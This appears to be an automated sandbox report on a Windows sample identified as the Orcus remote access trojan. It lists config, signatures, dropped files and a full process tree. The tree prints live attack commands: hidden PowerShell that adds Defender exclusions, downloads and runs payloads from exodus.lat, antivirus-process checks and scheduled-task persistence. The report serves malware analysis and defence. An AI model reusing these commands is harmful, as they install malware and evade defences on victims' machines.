Analysis

  • max time kernel
    119s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    06/12/2024, 08:26

General

  • Target
    a67e34baacfca98f323981d3b0087f3b.exe
  • Size 6.9MB
  • Sample241206-kbvmqaylay
  • SHA256 6092579a997945b10d3f279693baa004d180417ccfec941c45eb20705a2b4706
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://exodus.lat/COMSurrogate.exe

Extracted

Family
  • orcus

C2
  • 45.74.38.211:4782

Mutex
  • 7a9c0f279c464958aebbd585f20f1cf2

Attributes
  • autostart_method

    Disable

  • enable_keylogger

    false

  • install_path

    %programfiles%\Orcus\Orcus.exe

  • reconnect_delay

    10000

  • registry_keyname

    Orcus

  • taskscheduler_taskname

    Orcus

  • watchdog_path

    AppData\OrcusWatchdog.exe

Signatures

  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

  • Orcus family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Orcurs Rat Executable 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1184
      • C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe
        "C:\Users\Admin\AppData\Local\Temp\a67e34baacfca98f323981d3b0087f3b.exe"
        2⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2340
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2936
          • C:\Windows\SysWOW64\findstr.exe
            findstr /I "wrsa opssvc"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3000
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1260
          • C:\Windows\SysWOW64\findstr.exe
            findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1000
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c md 491505
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1480
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
            4⤵
            • System Location Discovery: System Language Discovery
            PID:872
          • C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
            Dr.com B
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Deletes itself
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:2408
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
              5⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2680
            • C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
              C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:264
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2152
                • C:\Windows\SysWOW64\net.exe
                  net session
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:2984
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 session
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2196
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2156
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
                  7⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2184
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2824
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
                6⤵
                • System Location Discovery: System Language Discovery
                PID:816
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1348
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:2620
              • C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
                "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
                6⤵
                • Executes dropped EXE
                • Adds Run key to start application
                PID:1492
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
                6⤵
                • System Location Discovery: System Language Discovery
                PID:964
                • C:\Windows\SysWOW64\net.exe
                  net session
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:1832
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 session
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:2920
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist /fi "imagename eq mi.exe"
                  7⤵
                  • Enumerates processes with tasklist
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1712
                • C:\Windows\SysWOW64\find.exe
                  find /i "mi.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:1584
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2204
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:876
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2256
          • C:\Windows\SysWOW64\choice.exe
            choice /d y /t 15
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2644
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:1908

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          B

          • Path C:\Users\Admin\AppData\Local\Temp\491505\B
          • Size 6.3MB
          • SHA256 122991768f589431b9166a4e22523bf48a53efff73fc2b191955e604196541b7
          • MD5 SHA1 SHA512 SSDEEP

          Artistic

          • Path C:\Users\Admin\AppData\Local\Temp\Artistic
          • Size 720KB
          • SHA256 de1e4dbe18f0b926b49aceb10157bc7f542409bad6242422efef3b831608a037
          • MD5 SHA1 SHA512 SSDEEP

          Audit

          • Path C:\Users\Admin\AppData\Local\Temp\Audit
          • Size 14KB
          • SHA256 0f241cc0324871a1a900a7ac0edf889a8d12875b1072f44856cc979a4b7a77ac
          • MD5 SHA1 SHA512 SSDEEP

          CabB1C4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\CabB1C4.tmp
          • Size 70KB
          • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
          • MD5 SHA1 SHA512 SSDEEP

          Commissioner

          • Path C:\Users\Admin\AppData\Local\Temp\Commissioner
          • Size 872KB
          • SHA256 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4
          • MD5 SHA1 SHA512 SSDEEP

          Dentists

          • Path C:\Users\Admin\AppData\Local\Temp\Dentists
          • Size 915KB
          • SHA256 226099aac21e8d4a671a68b37d204339703fb696b6cc5aa30311fb55d6ab2147
          • MD5 SHA1 SHA512 SSDEEP

          Disturbed

          • Path C:\Users\Admin\AppData\Local\Temp\Disturbed
          • Size 903KB
          • SHA256 8834f63f09734b9f284437f26cba4909ce9ae1aceafa27e2bcd7531c1a7479df
          • MD5 SHA1 SHA512 SSDEEP

          Flavor

          • Path C:\Users\Admin\AppData\Local\Temp\Flavor
          • Size 594KB
          • SHA256 4efff79e94f136f9bbaed62501810937785831b8c10ee9eb675ceae24cf3c4c9
          • MD5 SHA1 SHA512 SSDEEP

          Justice

          • Path C:\Users\Admin\AppData\Local\Temp\Justice
          • Size 848KB
          • SHA256 ae9283c1a14b751639a75592295d85105954b761737ab77fc1e667a1498f2e9e
          • MD5 SHA1 SHA512 SSDEEP

          Proceeds

          • Path C:\Users\Admin\AppData\Local\Temp\Proceeds
          • Size 853KB
          • SHA256 70fda66f3ea2607d6cff63d0a6a7258577690d2a9bc5105bb529889ce025d1c2
          • MD5 SHA1 SHA512 SSDEEP

          Revenue

          • Path C:\Users\Admin\AppData\Local\Temp\Revenue
          • Size 396KB
          • SHA256 9a0a3567f4c9b9ca46fbf41d65cdd5ce464b0efe42d6aaf7cff840addbe05d60
          • MD5 SHA1 SHA512 SSDEEP

          Soundtrack

          • Path C:\Users\Admin\AppData\Local\Temp\Soundtrack
          • Size 582KB
          • SHA256 628068ee856d68776d6e9b755cd42d7a5a46af1a2a6a2c22e65db95b5d2d8f2c
          • MD5 SHA1 SHA512 SSDEEP

          Zip

          • Path C:\Users\Admin\AppData\Local\Temp\Zip
          • Size 622KB
          • SHA256 b7de8d92196f323eb9a6237b9e902461569fd093b36e1988dee9de2ab157bb12
          • MD5 SHA1 SHA512 SSDEEP

          checkmiexe.bat

          • Path C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat
          • Size 1KB
          • SHA256 54f8474d983dc3dd78e3d3289076152651e2f8cc5f30ae3f2740ba15e71cc6a6
          • MD5 SHA1 SHA512

          download.bat

          • Path C:\Users\Admin\AppData\Local\Temp\download.bat
          • Size 819B
          • SHA256 019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686
          • MD5 SHA1 SHA512

          runsteal.bat

          • Path C:\Users\Admin\AppData\Local\Temp\runsteal.bat
          • Size 399B
          • SHA256 cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468
          • MD5 SHA1 SHA512

          d93f411851d7c929.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
          • Size 7KB
          • SHA256 93beb843e9f8f5e24d2dfe6600a8318f136ab065c293b5f65fe5e8712ff074e2
          • MD5 SHA1 SHA512 SSDEEP

          RegAsm.exe

          • Path \Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
          • Size 63KB
          • SHA256 6e70b56d748c4ccab13cc8a055d3795ea0dd95fe3b70568d7d3ac0c6621140a3
          • MD5 SHA1 SHA512 SSDEEP

          smartscreen.exe

          • Path \Users\Admin\AppData\Local\Temp\smartscreen.exe
          • Size 164KB
          • SHA256 924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a
          • MD5 SHA1 SHA512 SSDEEP

          memory/264-375-0x0000000000440000-0x0000000000844000-memory.dmp

          memory/264-384-0x0000000000AB0000-0x0000000000AB8000-memory.dmp

          memory/264-385-0x0000000000D60000-0x0000000000D78000-memory.dmp

          memory/264-386-0x0000000001190000-0x00000000011A0000-memory.dmp

          memory/264-383-0x0000000000AA0000-0x0000000000AA8000-memory.dmp

          memory/264-382-0x0000000000A90000-0x0000000000A98000-memory.dmp

          memory/264-381-0x0000000000A70000-0x0000000000A82000-memory.dmp

          memory/264-380-0x0000000000E60000-0x0000000000EBC000-memory.dmp

          memory/264-379-0x0000000000310000-0x000000000031E000-memory.dmp

          memory/264-376-0x0000000000440000-0x0000000000844000-memory.dmp

          memory/264-373-0x0000000000440000-0x0000000000844000-memory.dmp

          memory/1492-452-0x0000000001120000-0x000000000114E000-memory.dmp